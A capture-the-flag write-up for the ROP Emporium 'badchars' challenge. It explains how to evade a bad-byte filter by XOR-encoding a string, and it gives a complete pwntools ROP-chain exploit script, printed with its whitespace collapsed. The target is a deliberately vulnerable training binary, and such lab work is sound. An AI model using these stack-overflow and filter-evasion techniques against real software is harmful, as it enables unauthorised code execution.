An arbitrary write challenge with a twist; certain input characters get mangled as they make their way onto the stack.
Find a way to deal with this and craft your exploit.
pwndbg> checksec
File: /home/admin/sboxshare/ropemporium/badchars/badchars
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
As mentioned in the description, the twist to this challenge is that some characters are bad bytes that will get mangled if encountered. The characters are listed when the binary is run:
Given the list above, a payload string like flag.txt is out of the question. In fact, any byte in the payload that is a bad character will cause problems.
Note
ropper includes an option (-b/--badbytes) for filtering gadgets against a list of bad bytes. A list of gadgets without the bad characters above is generated with:
This produces a list of 95 gadets, though with exactly the same contents as an unfiltered list.
This challenge is similar to write4 and contains a many of the same gadgets. The difference is that avoiding the bad characters requires some form of encoding, which the binary provides through a helpful XOR gadget:
The overall strategy for this challenge is to leverage the XOR gadget to decrypt and recover the flag.txt plain text string. Since the decryption takes place during the ROP phase, after the check for bad characters, the check is effectively evaded and print_file() can be safely called.
The detailed steps in the attack chain are:
XOR encrypt the flag.txt payload with some known key (like 2).
Pass the pop r12; pop r13... gadget to pop the top of the stack into r12, including the encrypted payload.
Pass the address of the .bss segment onto the stack.
Pass some junk padding (like 0xdeadbeefdeadbeef) to fill r14 and r15 .
Use the mov [r13], r12 gadget to relocate the payload to the .bss segment.
Pass the pop r14; pop r15; ret gadget followed by the decryption key (2 to be placed in r14), the next available address in .bss (to be placed in r15) and the address of the xor [r15], r14 gadget.
Repeat the above step 8 times (for each byte in the payload) and store the result in .bss.
Pop the address of .bss into rdi and call the the print_file function.
As in the write4 challenge, a part of this challenge is to find a suitable location in memory to write the string to. Like before, .bss is a good candidate:
frompwnimport*context.terminal=['tmux','splitw','-h']exe="./badchars"elf=context.binary=ELF(exe)rop=ROP(elf)gdbscript=''''''ifargs.LOCAL:p=process(elf.path)ifargs.GDB:gdb.attach(p,gdbscript=gdbscript)print_file=p64(elf.symbols['print_file'])bss_addr=[p64(addr)foraddrinrange(0x00601038,0x00601040)]key=2encrypted=''foriin'flag.txt':encrypted=encrypted+chr(ord(i)^key)encrypted=bytes(encrypted.encode('utf-8'))pop_r12_r15=p64(0x40069c)# pop r12; pop r13; pop r14; pop r15; ret;mov_r13_r12=p64(0x400634)# mov qword ptr [r13], r12; ret;pop_r14_r15=p64(0x4006a0)# pop r14; pop r15; ret;xor_r15_r14=p64(0x400628)# xor byte ptr [r15], r14b; ret;pop_r15=p64(0x4006a2)# pop r15; ret;pop_rdi=p64(0x4006a3)# pop rdi; ret;payload=b'A'*40payload+=pop_r12_r15payload+=encryptedpayload+=bss_addr[0]payload+=p64(0xdeadbeefdeadbeef)# Junk for r14payload+=p64(0xdeadbeefdeadbeef)# Junk for r14payload+=mov_r13_r12foriinrange(0,8):payload+=pop_r14_r15payload+=p64(key)payload+=bss_addr[i]payload+=xor_r15_r14payload+=pop_rdipayload+=bss_addr[0]payload+=print_filep.sendlineafter(b'> ',payload)p.interactive()